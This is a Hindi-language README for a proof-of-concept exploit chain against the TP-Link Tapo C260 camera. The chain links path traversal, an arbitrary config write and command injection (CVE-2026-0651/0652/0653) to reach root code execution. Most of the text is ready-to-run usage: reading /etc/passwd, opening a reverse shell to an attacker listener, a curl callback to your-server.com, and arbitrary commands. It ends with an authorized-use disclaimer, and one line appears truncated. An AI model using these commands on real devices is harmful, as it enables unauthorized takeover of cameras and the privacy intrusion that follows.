
PoC शोषण श्रृंखला TP-Link Tapo C260 कैमरे के लिए — CVE-2026-0651/0652/0653। @spaceraccoon द्वारा शोध।
TP-Link Tapo C260 IP कैमरे के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट चेन जो तीन कमजोरियों को जोड़कर अनऑथेंटिकेटेड-से-रूट RCE प्राप्त करती है, जिन्हें Eugene Lim (Spaceraccoon) ने खोजा है।
सभी कमजोरी अनुसंधान और खोज Eugene Lim (@spaceraccoon) द्वारा की गई है।
यह रिपॉजिटरी उनके सार्वजनिक राइटअप पर आधारित एक PoC इम्प्लीमेंटेशन है। यदि आपको यह उपयोगी लगे, तो उनकी पुस्तक खरीदें: From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research (No Starch Press)।
| CVE | प्रकार | प्रभाव |
|---|---|---|
| CVE-2026-0651 | पाथ ट्रैवर्सल / लोकल फाइल डिस्क्लोज़र | HTTP GET हैंडलर में /%2e%2e%2f के माध्यम से मनमानी फाइलें पढ़ें |
| CVE-2026-0652 | मनमाना कॉन्फिग राइट | क्लाउड API में JSON कुंजी हेरफेर के माध्यम से गेस्ट-स्तरीय उपयोगकर्ता किसी भी कॉन्फिग पथ पर लिख सकते हैं |
| CVE-2026-0653 | कमांड इंजेक्शन / प्रिविलेज एस्केलेशन | set_region_code_handle बिना सैनिटाइज़ेशन के dev_name कॉन्फिग मान को popen() में पास करता है |
LFD (डिवाइस कॉन्फिग पढ़ें) --> कॉन्फिग राइट (dev_name को पॉइज़न करें) --> रीजन कोड हैंडलर ट्रिगर करें --> popen() --> शेल
git clone https://github.com/<you>/tapo-c260-rce.git
cd tapo-c260-rce
pip install -r requirements.txt
लोकल नेटवर्क पर कैमरे से मनमानी फाइलें पढ़ें:
python lfd.py --host 192.168.1.100 --token <stok_token> --file /etc/passwd
# रिवर्स शेल
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--lhost <YOUR_IP> \
--lport 4444
# केवल कॉलबैक (curl पिंग)
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--callback http://your-server.com/pwned
# कस्टम कमांड
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--cmd "id > /tmp/pwned"
पॉइज़न — हेरफेर की गई JSON कुंजियों के साथ एक setLedStatus अनुरोध भेजता है जो डिवाइस पर tp_manage/info/dev_name कॉन्फिग पथ में एक शेल मेटाकैरेक्टर पेलोड लिखता है।
ट्रिगर — एक set_region_code अनुरोध भेजता है। हैंडलर कॉन्फिग से dev_name पढ़ता है और इसे बिना सैनिटाइज़ेशन के popen() कॉल में इंटरपोलेट करता है, इंजेक्ट किए गए कमांड को निष्पादित करता है।
शेल — हमलावर को कॉलबैक या रिवर्स शेल प्राप्त होता है।
/bin/main ऑम्निबस बाइनरी साझा करते हैंयह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। लेखक दुरुपयोग के लिए जिम्मेदार नहीं हैं। किसी भी डिवाइस के खिलाफ परीक्षण करने से पहले हमेशा स्पष्ट अनुमति प्राप्त करें जो आपके स्वामित्व में नहीं है।